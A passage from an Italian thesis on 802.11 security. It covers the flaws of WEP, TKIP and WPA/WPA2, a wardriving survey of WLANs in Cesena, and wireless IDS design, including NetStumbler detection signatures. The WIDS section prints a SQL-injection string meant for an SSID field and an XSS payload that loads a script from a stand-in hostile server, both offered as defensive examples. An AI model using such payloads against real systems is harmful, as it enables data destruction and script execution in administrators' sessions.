Queste problematiche hanno diffuso una certa diffidenza e, di fatto, li-
mitato la diffusione di applicativi IPS. Un’eccezione notevole e il comparto
militare, i cui successivi studi hanno condotto a sistemi reattivi adibiti al con-
trattacco dell’aggressore. Ufficialmente smentiti, hanno trovato nel Patriot
Act [12] una legale autorizzazione.
In conclusione una fugace riflessione sulle tecnologie descritte: al lettore
accorto non dovrebbe essere sfuggito il presupposto implicito di staticita
della rete; questa considerazione, unita all’ipotesi di delimitazione fisica
del mezzo di trasmissione, costituisce la causa primaria dell’incapacita degli
strumenti classici ad adattarsi e sopravvivere autonomanente in ambienti
wireless. Approfondiremo in dettaglio l’argomento nel capitolo 4.
18 Soluzioni di rete tradizionali
Capitolo 3
Tecnologie di protezione per
reti wireless 802.11
Pochi standard commercialmente affermati hanno sostenuto evoluzioni tanto
repentine e turbolente quanto quelle subite dalle tecnologie wireless 802.11. Il
loro breve arco di vita e costellato di molteplici e spesso radicali cambiamenti;
modalita di trasmissione, frequenza e implementazione delle procedure di
sicurezza rappresentano gli esempi piu ecclatanti.
Concentreremo su quest’ultima tematica l’intero capitolo, discutendo i va-
ri standard adottati dalla commissione IEEE e dalla Wi-Fi Alliance nel corso
degli anni. In particolare ne sottolineremo le vulnerabilita e, laddove giusti-
ficabile, forniremo alcune attenuanti agli errori progettuali e implementativi
commessi.
3.1 Wired Equivalent Privacy
In tutta la storia dell’informatica pochi esempi sono emblematici di un’inge-
gneria cosı sciatta e negligente come quella che descriveremo in sezione.
20 Tecnologie di protezione per reti wireless 802.11
Definito nel 1997, WEP (Wired Equivalent Privacy) nasce come parte
integrante della specifica 802.11 con l’intenzione di garantire un livello di
riservatezza paragonabile alla rete cablata. I suoi progettisti, presumibil-
mente troppo preoccupati per l’uscita del primo Harry Potter [13], dovettero
pensare che l’acronimo significasse piuttosto
Why Ensure Protection?
Questa critica, volutamente pesante, non e gratuita. A memoria, nessun’altro
standard e stato vittima di una quantita di falle cosı gravi da essere sosti-
tuito e deprecato dopo pochi anni dalla sua introduzione. Simili episodi non
possono essere commentati come “casuali fatalita”. Sperando costituiscano
almeno un monito e una lezione per il futuro, analizziamo le cause di questo
rovinoso epilogo.
Figura 3.1: Stadi crittografia WEP
Il processo di crittografia WEP, illustrato in Figura 3.1, basa il proprio
funzionamento su una chiave segreta precondivisa dai due attori in gioco e
3.1 Wired Equivalent Privacy 21
sull’algoritmo RC4, originariamente ideato da Ron Rivest nel 1987; RC4 e il
piu famoso e utilizzato stream cipher, un generatore di sequenze pseudoca-
suali di bits particolarmente adoperato nelle vecchie implementazioni SSL.
Per perturbare l’algoritmo, ad evitare che generi sempre il medesimo
stream, WEP impiega un vettore di inizializzazione (IV, Initialisation Vec-
tor) di 24 bits concatenato alla chiave segreta: variando il vettore nel tempo,
in particolare ad ogni frame, cambia il flusso prodotto. A seguire uno XOR
a due vie processa lo stream assieme al payload da trasmettere, a cui e
stato preventivamente accodato un checksum CRC-32 adibito a garantirne
l’integrita. Il vettore IV e infine allegato in chiaro al payload cifrato, per
permettere al ricevente di decifrare i dati invertendo il procedimento.
trasmettitore: T = IV ‖ {RC4(IV ‖ K)⊕ [P ‖ CRC32(P )]}
ricevitore: P ′ = P ‖ CRC32(P ) = RC4(IV ‖ K)⊕ (T − IV )
Non descriveremo dettagliatamente l’escalation di vulnerabilita, esemplifica-
ta in Figura 3.2, che seguı all’introduzione di tale tecnologia; limitiamo le
nostre critiche a poche mirate osservazioni.
Consideriamo innanzitutto il vettore IV. Il dato, variato ad ogni frame,
assicura 224 possibili perturbazioni dell’algoritmo RC4. Un valore all’appa-
renza enorme ma decisamente piccolo se raffrontato al traffico di una rete
WLAN, in cui e mediamente saturabile in 6-12 ore; si noti inoltre come il
processo, basandosi su una chiave condivisa tra tutti gli utilizzatori, accelleri
in maniera lineare all’aumentare del numero dei client. Un’accurata analisi
condotta da Fluhrer, Mantin e Shamir nel 2001 [15] dimostro come un even-
tuale aggressore, intercettando passivamente tramite sniffer la trasmissione e
collezionando un numero opportuno di pacchetti, potesse correlare due pac-
chetti cifrati con lo stesso IV e risalire alla chiave. Shamir attribuı la sgradita
abilita a RC4, affetto da forte low sampling resistance (definito da Biryukov,
Shamir e Wagner in [16]) cioe uno stretto legame tra alcune classi di input e
i corrispettivi pattern di output.
22 Tecnologie di protezione per reti wireless 802.11
Figura 3.2: Vulnerabilita WEP [14]
Per limitare l’efficacia dell’attacco, inizialmente fu proposto di incremen-
tare la chiave dagli originari 40 a 104 bits (WEP64 e WEP128, oltre a ver-
sioni proprietarie WEP152 e WEP256). I problemi di interoperabilita con
gli apparecchi gia in commercio e la sostanziale inefficacia della soluzione
[17] hanno presto sconfessato tale pratica. Attualmente, difatti, la quantita
di informazioni per eseguire un attacco e il tempo necessario ad ottenerle
dipende piuttosto dalle capacita dell’aggressore che dalla dimensione della
chiave WEP; studi recenti [18] evidenziano WEP128 decifrate in meno di
sessanta secondi.
La seconda principale preoccupazione riguarda l’integrita del messaggio.
Il checksum CRC32 accodato al payload e concepito per rilevare errori casuali
di comunicazione e non manomissioni intenzionali; ne deriva che alterazioni
apportate sia ai dati che al corrispondente checksum non sono accertabili.
3.2 Temporal Key Integrity Protocol 23
Un aggressore esperto, anche sprovvisto della chiave, puo dunque iniettare
traffico nella rete (packet injection) senza che il destinatario possa ricono-
scerlo come tale. Questa manifesta violazione del concetto di integrity e
assolutamente inaccettabile in quanto qualunque dato diviene potenzialmen-
te inattendibile e percio insicuro. Il protocollo WEP fallisce tutti i suoi
propositi.
Sebbene tutti gli esperti concordino sulla sua inadeguatezza, WEP e
tutt’oggi ancora largamente utilizzato. Tale affermazione sara verificata
sperimentalmente nel caso di studio presentato in sez. 3.6.
3.2 Temporal Key Integrity Protocol
Ben presto il livello di insicurezza WEP-based divenne inaccettabile per la
comunita IT; gli utilizzatori necessitavano rapidamente un successore che non
stravolgesse l’infrastruttura e, soprattutto, non obbligasse la sostituzione del-
l’hardware preesistente. TKIP (Temporal Key Integrity Protocol) nasce per
soddisfare questi bisogni, un wrapper software del protocollo WEP adibito a
correggerne le maggiori falle attraverso tre importanti innovazioni: un am-
pliato vettore IV di 48 bits, il concetto di chiave temporanea e un nuovo
controllo di integrita (MIC).
Per risolvere gli inconvenienti derivanti dalle debolezze di RC4, Ron Ri-
vest propose l’introduzione di un meccanismo di key mixing per garantire
chiavi diverse ad ogni pacchetto. Il procedimento, per minimizzare il costo
computazionale e permetterne l’implementazione sui prodotti gia esistenti,
e suddiviso in due fasi. Tramite una Sostitution Box (S-box, una tabella di
sostituzione non lineare), la prima fase combina la chiave segreta precondi-
visa TK (Temporal Key, 128 bits), il MAC address della scheda locale e i 32
bits piu significativi del vettore IV; la dipendenza dal MAC address locale
ha l’immediato apprezzabile vantaggio di produrre valori differenti per ogni
24 Tecnologie di protezione per reti wireless 802.11
client. Sfruttando i rimanenti 16 bits di IV la seconda fase assicura sino a 216
chiavi WEP: tuttavia, per maggiore sicurezza, TKIP forza il rinnovo della
prima fase ogni 10000 pacchetti (≈ 213.3).
I due segmenti del vettore IV, incrementati nelle rispettive fasi, operano
come contatori (Counter Mode) e, raggiunto il valore limite, impongo-
nono l’interruzione del traffico: una limitazione ininfluente, considerato che
una rete 802.11g a 54Mbps satura uno spazio di 248 pacchetti in approssi-
mativamente 500/600 anni. TKIP, inoltre, affronta le problematiche legate
all’integrita dell’informazione affidandosi a MIC (Message Integrity Check,
noto anche come Michael), un algoritmo di hashing one-way per precalcolare
un’impronta del messaggio da allegare ai dati in trasmissione: il ricevente,
confrontando l’hash con quello computato localmente sui dati ricevuti, ne
verifica la correttezza prevenendo attacchi basati su packet-injection. Con-
statato un errore, TKIP impone il rinnovo della chiave generata nella prima
fase, limitando tale procedura una volta al minuto.
TKIP, in conclusione, adempie effettivamente alle promesse di rafforzare
il protocollo WEP. Comparato a quest’ultimo e pero decisamente piu costoso
in termini di cicli di calcolo, tanto da degradare sensibilmente le prestazio-
ni degli access point piu economici; buon compromesso per il riutilizzo di
hardware legacy rappresenta comunque un ottimo esempio di ingegneria.
3.3 Wi-Fi Protected Access
La Wi-Fi Alliance, spinta dalla crescente esigenza di sicurezza, rilascio verso
la meta del 2003 una serie di raccomandazioni per un nuovo protocollo ba-
sato sulle proposte, allora ancora abbozzate, del futuro IEEE 802.11i. Oggi
conosciuto come WPA (Wi-Fi Protected Access), e sostanzialmente un’e-
stensione dell’architettura WEP realizzata tramite TKIP e MIC che offre,
in aggiunta, funzionalita di autenticazione e distribuzione delle chiavi; l’im-
plementazione di quest’ultimo fattore discrimina tra le due diverse modalita
3.3 Wi-Fi Protected Access 25
disponibili, personal ed enterprise.
La versione personal, o consumer, opera mediante una chiave precondivisa
(PSK, Pre-Shared Key) di 256 bits da cui, ad ogni nuova associazione, deriva
una PMK (Pairwise Master Key) mediate la formula [19]
PMK = PBKDF2(PSK, SSID, SSID.length, 4096, 256)
PBKDF2 (Password-Based Key Derivation Function) genera una PMK
da 256 bits iterando 4096 volte l’algoritmo sulla concatenazione della PSK,
del SSID e della lunghezza di quest’ultimo. Questo procedimento, det-
to di key strengthening, riduce notevolmente l’efficacia degli attacchi a
dizionario.
Figura 3.3: Gerarchia delle chiavi WPA/WPA2
Come delineato in Figura 3.3, dalla PMK discende una PTK (Pairwise
Temporal Key) attraverso la quale e ottenuta la chiave TK necessaria a TKIP.
Disgraziatamente la PTK e scambiata nel secondo pacchetto dell’handshake
a quattro vie eseguito in fase di associazione e se intercettata diviene suscet-
tibile ad attacchi a dizionario [19], assai pericolosi perche effettuabili anche
26 Tecnologie di protezione per reti wireless 802.11
off-line. Oltretutto un aggressore puo facilmente forzare la ri-associazione dei
clients. Uno dei meccanismi di protezione presente in WPA, difatti, prevede
lo shutdown automatico della rete per un minuto se rileva almeno due pac-
chetti al secondo cifrati con una chiave errata: oltre ad agevolare la cattura
della PTK, cio conduce ad attacchi DOS teoricamente permanenti.
Nell’intento di scoraggiare l’aggressore, l’unica reale soluzione risiede nel-
l’adoperare password alfanumeriche molto lunghe (almeno 20 caratteri). Tut-
tavia si osservi il sussistere di progetti di cracking [20] basati su Rainbow
Tables [21], una tecnica per la ricerca di password in archivi di hash precal-
colati, composte da oltre un milione di chiavi associate ad un migliaio dei
SSID piu comuni. Numerosi break-test dimostrano incrementi di velocita
nella ricerca della PSK nell’ordine di 104.
La modalita enterprise, viceversa, presuppone una struttura RSN (Ro-
bust Security Network), esplificata in Figura 3.4.
Figura 3.4: Autenticazione tramite server RADIUS [22]
In RSN il supplicant contatta l’authenticator per negoziare l’autentica-
zione: la sicurezza della comunicazione e assicurata dal framework EAP, in
una delle sue specifiche implementazioni. Prima di consentire l’accesso alla
rete l’authenticator instrada le credenziali fornitegli verso un server RA-
DIUS (Remote Authentication Dial In User Service), standard de-facto per
l’authetication server. Terminata la verifica, il supplicant e il server condivi-
3.4 Wi-Fi Protected Access 2 27
dono una PMK (vd. Figura 3.3) e procedono nell’handshake di associazione
descritto in precedenza.
Sebbene la modalita enterprise offra un grado di sicurezza molto elevato,
i costi e le complessita legate all’utilizzo di un server RADIUS ne hanno
scoraggiato l’adozione tra le piccole e medie imprese e gli utenti domestici.
Tuttavia, recentemente, si osserva la diffusione di soluzioni RADIUS user-
friendly integrate negli access point, avvalendosi di protocolli EAP leggeri
come TinyPEAP.
3.4 Wi-Fi Protected Access 2
Nel settembre del 2004, dopo alcuni anni di lavoro, e stato finalmente rila-
sciato il nuovo standard di sicurezza IEEE 802.11i CCMP (Counter-Mode-
CBC-MAC Protocol) [23], prontamente ribattezzato dal mercato in WPA2.
Pur essendo privo, al pari di TKIP, dei difetti riscontrati in WEP, CCMP
ha il pregevole vantaggio di un’architettura completamente rinnovata e pie-
namente aderente alle specifiche RSN.
WPA2, anch’esso disponibile in formato personal ed enterprise, mantiene
la retrocompatibilita con i dispositivi WPA e prevede, inoltre, una modalita
di funzionamento mista per agevolarne la transizione.
Abbandonato definitivamente RC4, CCMP si avvale dell’algoritmo AES
(Advanced Encryption Standard), noto anche come Rijndael dal nome dei
suoi inventori, Joan Daemen e Vincent Rijmen. AES e un sofisticato block-
cipher, un sistema di cifratura a gruppi prefissati di bits che, tramite una
chiave, pone univocamente in relazione un blocco in input con un blocco di
output. Per operare in ambienti wireless, limitando contemporaneamente i
costi e il degrado di performance, l’implementazione 802.11i prevede l’impiego
di chiavi ristrette a 128 bits unitamente alle tecniche di Counter Mode e di
CBC-MAC (Cipher Block Chainging - Message Authentication Code), spesso
28 Tecnologie di protezione per reti wireless 802.11
denotate assieme come CCM.
Analogalmente a TKIP, il Counter Mode e basato su un vettore IV di
48 bit incrementato sequenzialmente ad ogni pacchetto; CBC-MAC, vicever-
sa, sostituisce sia MIC sia l’inadatto checksum CRC32 del protocollo WEP,
rafforzando significativamente il controllo di integrita.
CCMP ricorre al medesimo algoritmo di distribuzione delle chiavi adope-
rato in WPA e presentato in Figura 3.3. Di conseguenza la variante personal e
ugualmente vulnerabile ad attacchi a dizionario eseguiti off-line, sebbene me-
no efficaci a causa della maggiore complessita computazionale della cifratura
AES. Giovano pertanto le stesse raccomandazioni espresse in precedenza.
CCMP, con la sua elegante e robusta struttura, e attualmente considerato
sufficientemente robusto e sicuro per praticamente qualsiasi ambito, inclusi
quelli governativi [24] [25] .
Concludiamo riassumendo e confrontando in Tabella 3.1 gli standard di
sicurezza per le reti wireless 802.11.
WEP TKIP (WPA) CCMP
Cifratura RC4 RC4 AES
Chiave di cifratura 40 o 104 bits 128 bits 128 bits
Dimensione IV 24 bits 48 bits 48 bits
Gestione IV Non definita Counter Mode Counter Mode
Integrita header No Michael CBC-MAC
Integrita dati CRC32 Michael + CRC32 CBC-MAC
Distribuzione chiavi No 802.1X (EAP) 802.1X (EAP)
Tabella 3.1: Standard di sicurezza 802.11
3.5 Sviluppi futuri: 802.11w 29
3.5 Sviluppi futuri: 802.11w
Tutti i precedenti protocolli forniscono, in maniera piu o meno valida, un sup-
porto per la protezione del traffico dati. Tuttavia lo standard 802.11 definisce
altre due tipologie di frame per la gestione e la coordinazione delle comunica-
zioni, rispettivamente i management frame (autenticazioni, associazioni,
ecc...) e i control frame (ACK e RTS/CTS, ad esempio). In particola-
re i management frame, soprattutto con l’implementazione delle prossime
estensioni 802.11r, 802.11k e 802.11v, trasportano informazioni sensibili e ti-
picamente sono bersaglio di molti comuni attacchi DOS (vd. sez. 4.2.5); per
risolvere queste problematiche la IEEE ha formalizzato un nuovo gruppo di
lavoro, 802.11w, le cui specifiche sono attese per Marzo-Aprile 2008.
Presumibilmente, 802.11w introdurra tre diversi meccanismi di sicurezza
[26]. Il primo estendera l’utilizzo degli algoritmi TKIP/CCM anche ai ma-
nagement frame trasmessi in modalita unicast, cioe tra un solo client e un
access point, garantendone confidentiality e integrity. Il secondo, viceversa,
sara riservato ai frame broadcast ed usufruira di un controllo d’integrita MIC
per evitare iniezioni malevoli da parte di soggetti non associati alla rete. Un
terzo procedimento, basato sull’uso di chiavi one-time, dovrebbe assicurare
l’autenticita dei messaggi di disassociazione e deautenticazione. In ogni caso,
il funzionamento di tali tecniche presuppone che il client e l’access point ab-
biano gia scambiato una PTK e, pertanto, 802.11w non eliminera le tematiche
relative all’intercettazione e al cracking delle password WPA/WPA2.
Queste novita, teoricamente, richiederanno solamente un aggiornamento
del firmware dei dispostivi.
30 Tecnologie di protezione per reti wireless 802.11
3.6 Caso di studio: WLAN citta di Cesena
Analizzati gli standard di sicurezza offerti dal mercato, e lecito e interessante
domandarsi quali di questi siano effettivamente utilizzati. Come caso di
studio abbiamo investigato 240 reti WLAN della citta di Cesena nell’area
attorno alle due sedi della Seconda Facolta di Ingegneria dell’Universita di
Bologna. Gli strumenti adoperati per la rilevazione saranno descritti nel
capitolo 5, mentre si rimanda all’Appendice B per le note legali.
Il nostro lavoro, graficato in Figura 3.5, mostra una situazione diffusa-
mente critica, sebbene attesa. Oltre il 42% delle reti esaminate (segnalate in
rosso) risultano aperte, il 28% implementa soluzioni WEP (in giallo) mentre
solo un 30% usufruisce delle tecnologie TKIP e CCMP (in verde); in parti-
colare un’unica intranet impiega la crittografia AES-CCM.
Recuperando le osservazioni espresse riguardo l’inefficacia del protocollo
WEP possiamo tranquillamente sostenere che il 70% delle reti considerate
sono intrinsicamente insicure. Tra i propriequeste troviamo anche banche,
studi notarili e una caserma dei carabinieri. Si invita il lettore a riflettere sul
significato di tali affermazioni.
3.6 Caso di studio: WLAN citta di Cesena 31
Figura 3.5: Stato delle reti WLAN nella citta di Cesena
32 Tecnologie di protezione per reti wireless 802.11
Capitolo 4
Wireless IDS
Abbiamo gia notato che il protocollo CCMP, specialmente nella variante en-
terprise, e piu che idoneo a garantire sia le autenticazioni sia le comunicazioni
dei clients. Ingenuamente potremmo ritenerlo sufficiente. Tuttavia l’utilizzo
del mezzo radio, per sua stessa natura non confinabile entro precisi perimetri
fisici, incrementa esponenzialmente le gia vaste tecniche di attacco in direzio-
ni ortogonali a quelle risolte con l’adozione di un canale crittograficamente
sicuro.
In questa fase e fondamentale ricordare che seppure consapevoli di non
potere assicurare il rispetto del paradigma C.I.A, a causa dell’assioma di sez.
1.3, aspiriamo a soluzioni migliori della mera constatazione di un’avvenuta in-
trusione: necessitiamo di sistemi di rilevamento e monitoraggio simili agli IDS
ma al contempo riprogettati in un’ottica orientata ad ambienti wireless. Per-
tanto procediamo nello studio dei Wireless Intrusion Detection System
analizzandone l’infrastruttura, le nuove problematiche e, infine, presentando
Kismet come caso di studio.
34 Wireless IDS
4.1 Architettura
Nel descrivere la tipica struttura dei WIDS potremmo ripercorrere l’espo-
sizione di sez. 2.2, distinguendo tra configurazioni host e network based o
tra controlli on-line e off-line. Un sistema wireless, pero, e indiscutibilmente
distribuito e oltremodo variabile nel tempo. In conseguenza un’impostazione
host based o in ogni caso prettamente off-line e inefficace nel confrontarsi con
le sfide proposte. Queste considerazioni hanno condotto, quasi unicamente,
allo sviluppo di architetture basate sulla collaborazione tra sensori e uno o
piu server di analisi (vd. Figura 4.1).
Figura 4.1: Struttura Wireless IDS
4.1.1 Reti di sensori
Un sensore WLAN e, sostanzialmente, uno sniffer idoneo a catturare frame
802.11. In particolare e necessaria una modalita speciale chiamata moni-
4.1 Architettura 35
tor mode o RFMON (Radio Frequency Monitoring) che, diversamente da
quella promiscua descritta in sez. 2.2, consente di osservare anche il traffico
appartenente a reti a cui non si e associati, includendo oltretutto gli header
e i frame di gestione del protocollo 802.11 [27]. Non tutte le schede di rete
dispongono di driver con supporto RFMON: parte dell’hardware presenta so-
luzioni piu o meno sofisticate per Linux e, in modo minore, per BSD e MAC
OS X. Prodotti commerciali di terze parti forniscono un limitato ausilio anche
per la piattaforma Windows.
Suddividiamo concettualmente i sensori in tre macro categorie: integrati,
passivi e attivi.
I sensori integrati impiegano gli stessi access point adibiti al traffico da-
ti, alternando al normale comportamento le funzioni di rilevamento. Questa
scelta, sebbene abbatta totalmente i costi relativi all’acquisto di ulteriore
hardware, esibisce due grandi svantaggi. In primo luogo, intervallare le due
funzionalita degrada le performance della rete e dunque il throughput di en-
trambe le operazioni. Assai piu critico e il secondo aspetto: unire un servizio
con i propri meccanismi di controllo e tipicamente una pessima decisione in
quanto introduce un grave “singol point of failure” in ambedue i sistemi; un
attacco all’access point (il servizio) origina una rottura nelle politiche del sen-
sore (il controllo) e viceversa. Pertanto, se non sussistono evidenti problemi
di budget, tale opzione e sconsigliabile.
I sensori passivi sono semplici ripetitori di segnale che reinstradano l’in-
tero traffico direttamente al server WIDS. Sono un’alternativa decisamente
economica e, difatti, sono largamente utilizzati quando la zona da monito-
rare e molto vasta ed il numero di dispositivi necessari e elevato. Questa
alternativa sposta il “singol point of failure” dai sensori al server WIDS che,
sovraccaricato dall’enorme flusso dati, rischia rallentamenti e/o crolli.
I sensori attivi, o intelligenti, sono in assoluto la soluzione tecnologi-
camente piu efficace ed evoluta, priva delle debolezze sopra elencate. Con-
trariamente ai precedenti, effettuano delle operazioni di scrematura sui dati
36 Wireless IDS
in transito ed inviano al server unicamente il traffico sospetto. Il criterio di
selezione dipende dalla particolare implementazione e, generalmente, condi-
ziona fortemente la complessita interna del dispositivo. Gli elevatissimi costi,
tuttavia, hanno relegato questi prodotti a mercati di nicchia in cui il numero
di sensori e limitato e, in ogni caso, la spesa e un fattore secondario.
Trascurando i sistemi integrati, l’aspetto cruciale che determina il suc-
cesso o, viceversa, il fallimento di un WIDS e l’ubicazione dei sensori. Il
suggerimento piu comune, indubbiamente errato, ne prevede la collocazio-
ne esclusivamente nei pressi degli access point. Sebbene sia essenziale di-
sporre di sensori in tali posizioni, in cui di norma si concentra il traffico, e
comunque indispensabile controllare una superfice notevolmente piu ampia
comprendendo le zone limitrofe all’area interessata come, ad esempio, i par-
cheggi. Osserviamo, a dimostrazione di quanto detto, l’attacco Evil-Twin
(lett. “gemello malvagio”) ritratto in Figura 4.2.
Figura 4.2: Un attacco Evil-Twin
4.1 Architettura 37
Interferendo con un segnale piu intenso, l’intruso induce un client ad
associarsi al proprio access point, preventivamente configurato con lo stesso
SSID della rete in esame; ora la vittima, inconsapevolmente, trasmette i
propri dati all’aggressore mentre il sensore ignora completamente l’accaduto:
nel caso migliore ha constatato la disassociazione del client ma non puo
rilevare ne la presenza dell’intruso, magari distante e appostato in auto, ne
il suo access point e, pertanto, non avvisa del pericolo. Una verifica delle
nostre considerazioni che attesta l’importanza di eseguire approfonditi rilievi
sperimentali prima di definire la sistemazione dei sensori.
I sensori, a qualunque famiglia appartengano, comunicano le informazioni
acquisite ad uno o piu server adibiti alle successive operazioni di controllo.
Il collegamento puo essere stabilito tramite la rete cablata o per mezzo della
WLAN stessa: la rete cablata garantisce performance e sicurezza maggiori
ma impone la disponibilita di prese ethernet attigue ai sensori, vincolandone
di fatto le possibili dislocazioni; l’impiego della WLAN, viceversa, libera da
limitazioni fisiche ma, oltre a degradare le prestazioni della rete, introduce
nel sistema un ulteriore “singol point of failure” e si presta piu facilmente ad
interferenze e denial of service. In ogni caso e imprescindibile adoperarsi per
autenticare e cifrare tutte le trasmissioni utilizzando protocolli notoriamente
“sicuri” quali SSL3/TLS. Inoltre e opportuno impedire ai sensori di stabilire
connessioni in ingresso per evitare che potenziali malintenzionati tentino di
corromperne la configurazione: in tale circostanza sono direttamente i sensori
che, a polling, richiedono al server gli eventuali aggiornamenti.
4.1.2 Correlazione, analisi e notifica: il server WIDS
Il server WIDS, o un corrispettivo cluster, definisce, di regola, una pipeline
composta da tre stadi: correlazione, analisi e notifica.
La correlazione costituisce la prima fase, indispensabile non solo per rag-
gruppare i frame appartenenti alle medesime connessioni di livello superiore
38 Wireless IDS
ma innanzitutto per relazionare le informazioni ricevute dai diversi sensori.
Questo permette, ad esempio, di eliminare i duplicati e non notificare piu
volte lo stesso problema. Inoltre, maggiormente rilevante, consente al server
di acquisire una visione d’insieme, necessaria per riconoscere attacchi come il
mac spoofing o l’iniezione di traffico che richiedono una conoscenza globale,
e non puramente locale, dello stato della rete in esame.
Durante l’analisi i dati dello strato precedente, generalmente memoriz-
zati in appositi database, sono processati e sottoposti a svariati controlli atti
a individuare e classificare per gradi di rischio gli eventuali attacchi; le solu-
zioni piu complete, inoltre, prevedono la possibilita di connettere in cascata
un IDS per esaminare i protocolli superiori. In modo simile a quanto de-
scritto in sez. 2.2, distinguiamo tra WIDS misuse-based e anomaly-based: si
noti, tuttavia, che i prodotti attualmente disponibili esibiscono funzionalita
prettamente misuse-based con basse, o nulle, capacita anomaly-based. Nel-
la sezione 4.2 approfondiremo in dettaglio diverse signatures comunemente
utilizzate e proporremo alcuni spunti per nuovi algoritmi anomaly-based.
Lo stadio di notifica e preposto ad avvisare l’amministratore generando
un alert quando l’analisi riscontra un probabile attacco. Il componente di
notifica non e un passivo segnalatore di eventi ma, al contrario, e preposto
ad organizzare tempestivamente gli alert distribuendoli, in base alla loro
priorita, tra diversi mezzi di comunicazione quali SMS, e-mail, console e
simili interfacce di controllo.
4.1.3 Interfaccia
Il modulo di interfaccia correda il sistema con uno strumento di gestione
e supervisione abile a monitorare e modificare la configurazione del server
WIDS e/o dei sensori: permette, essenzialmente, di integrare i vari elementi
in una struttura uniforme e apparentemente centralizzata. Indubbiamente la
popolarita di un prodotto e fortemente condizionata dall’esistenza di un’in-
4.1 Architettura 39
terfaccia efficiente e soprattutto intuitiva, pertanto e compito del progettista
presentare le informazioni in modo chiaro e ordinato, suddividendole in classi
concettuali. Gli alert, ad esempio, dovrebbero essere ordinati per gravita e
tipologia e, inoltre, opportunamente riassunti per consentirne una piu rapida
individuazione; in questo modo l’amministratore focalizza l’attenzione uni-
camente sui dati significativi e, solo se necessario, visualizza ulteriori dettagli
come il dump completo del traffico. Quasi tutte le attuali implementazioni,
sia per praticita e portabilita sia per fenomeni di moda e tendenza, sfruttano
le moderne tecnologie web unite a rigide politiche RBAC (vd. sez. 1.2).
Figura 4.3: Architettura WIDS
Osserviamo, in conclusione, che operiamo su dati provenienti da fonti
potenzialmente ostili e percio propense ad attacchi volti a compromettere il
funzionamento del WIDS stesso [28]. Ad esempio, sapendo che generalmen-
te questi sistemi utilizzano un database di appoggio, un aggressore scaltro
potrebbe plasmare un frame contenente il seguente codice SQL nel SSID,
consapevole che i sensori lo intercetteranno:
40 Wireless IDS
’; drop table ...;--
Se l’anomalia non e opportunamente gestita in fase di analisi, la query adibita
alla memorizzazione dell’alert non solo fallisce ma comporta la cancellazione
dell’intero database; l’intruso ha ottenuto un eccellente quanto pericoloso
caso di SQL-Injection. I prodotti provvisti di interfacce web, inoltre, sono
propensi ad attacchi XSS (Cross-Site Scripting) sfruttabili con procedure
simili a quella appena descritta. Un amministratore, esaminando il resoconto
di un alert in cui e stato incautamente incluso il seguente codice malevolo,
esegue con i propri diritti lo script preparato dall’aggressore, abilitandolo a
praticamente qualsiasi operazione.
"><script src="server_ostile/script_malevolo.js"></script>
Intuitivamente la presenza di simili vulnerabilita, tipiche di un’implemen-
tazione frettolosa e trascurata, sono la peggiore disgrazia per un software
di sicurezza; questi, pertanto, dovrebbero essere progettati con la massima
attenzione ai particolari e sottoposti a severe sessioni di testing prima di
essere commercializzati.
4.2 Attacchi e contromisure
Proseguiamo il nostro studio commentando le piu note metodologie d’attacco
ai sistemi WLAN, delineandone parallelamente possibili contromisure non
necessariamente adottate dai WIDS esistenti.
4.2.1 Sniffer e wardriving
Abbiamo gia brevemente discusso il termine sniffing in sez. 1.4. Un ambien-
te wireless, tuttavia, espande indefinitamente le potenzialita di tale tecnica,
4.2 Attacchi e contromisure 41
tanto da imporre una ritrattazione piu approfondita e mirata. Ovviamente
e lecito domandarsi quale motivo promuova tale scelta: il comune atteggia-
mento di ogni aggressore in procinto di attaccare una rete a lui sconosciuta
e senza dubbio la migliore giustificazione. Chiunque abbia un minimo di
esperienza, difatti, svolge una piu o meno lunga fase di preparazione detta
information gathering in cui cerca di conoscere quanti piu dettagli pos-
sibile sull’obiettivo; questa attivita trascende sia dalle tecnologie (vd. social
engineering in sez. 1.4) sia dal settore informatico ed e applicato in campo
militare, intelligence, marketing e molti altri.
In realta, introducendo i sensori e la modalita RFMON, abbiamo gia an-
ticipato il principale strumento a disposizione dei nostri avversari. Gli even-
tuali aggressori monitoreranno tutti i canali definiti dallo standard 802.11
tramite un sensore, tipicamente equipaggiato con un’antenna esterna ad alto
guadagno per garantire l’intercettazione dei dati anche da distanze considere-
voli. Questo e inequivocabilmente il principale svantaggio rispetto ai nostri
ostili rivali: non possiamo, in generale [29], localizzare un intruso fintanto
che permane in una modalita passiva come RFMON. Ovviamente se in un
determinato momento la nostra rete non genera traffico tale espediente e
inutile pertanto la maggior parte degli aggressori privilegia tecniche di scan-
sione attiva, anche perche i sistemi Windows non supportano nativamente la
modalita monitor.
In ogni caso, negli anni, l’idea di identificare reti WLAN si e sviluppata
come una vera e propria moda detta wardriving; tale fenomeno, non ri-
chiendo ne particolari competenze tecniche ne hardware specifico (un PDA
o un portatile), e solitamente perpetrata per hobby, studio o per connetter-
si gratuitamente a banda larga alla rete Internet. I software comunemente
utilizzati sono, principalmente, solo due e appartengono alle contrapposte
categorie di scanner attivi e passivi, NetStumbler e Kismet. La mappa della
rete riprodotta in Figura 3.5 e un esempio di wardriving realizzato abbinando
a Kismet un’antenna GPS e le Google Maps API [30].
42 Wireless IDS
Nonostante il wardriving non costituisca un vero e proprio attacco, e piu
in generale nemmeno un reato (vd. appendice B), siamo comunque interessa-
ti a monitorarne l’attivita in quanto rappresenta una potenziale minaccia alla
sicurezza della nostra rete. Purtroppo, come gia evidenziato, dovremo limi-
tare le nostre osservazioni ai soli scanner attivi: considerata la sua diffusione,
concentreremo il nostro studio sul solo NetStumbler sebbene in letteratura
esistano pattern anche per altri software quali Wellenreiter, DStumbler e
perfino Windows XP [31].
Rilevare NetStumbler
NetStumbler e verosimilmente lo strumento piu popolare e adoperato tra gli
amanti del wardriving; disponibile per Windows 2000/XP e CE, e caratte-
rizzato da una GUI (Graphic User Interface) amichevole che ne semplifica
enormemente l’uso. NetStumbler trasmette ripetutamente probe request,
un tipo di frame per richiedere informazioni ad un access point, in modalita
broadcast: cio e perfettamente conforme alle specifiche IEEE 802.11, pertan-
to e difficile individuare un tentativo di scansione. Fortunatamente alcune
versioni di NetStumbler (0.3.20∼0.3.30), ogni volta che rilevano un nuovo
access point, inviano un ulteriore frame il cui pattern e stato ampiamente
documentato in [31]. In particolare due campi del protocollo LLC, OUI
(Organizationally Unique Identifier) e PID (Protocol Identifier), sono siste-
maticamente impostati ai valori 0x00601D e 0x0001; il payload dati, inoltre,
contiene una delle stringhe riportate in Tabella 4.1.
Versione Payload ASCII ID
0.3.20 Flurble gronk bloopit, bnip Frundletrune 41:6C:6C:20
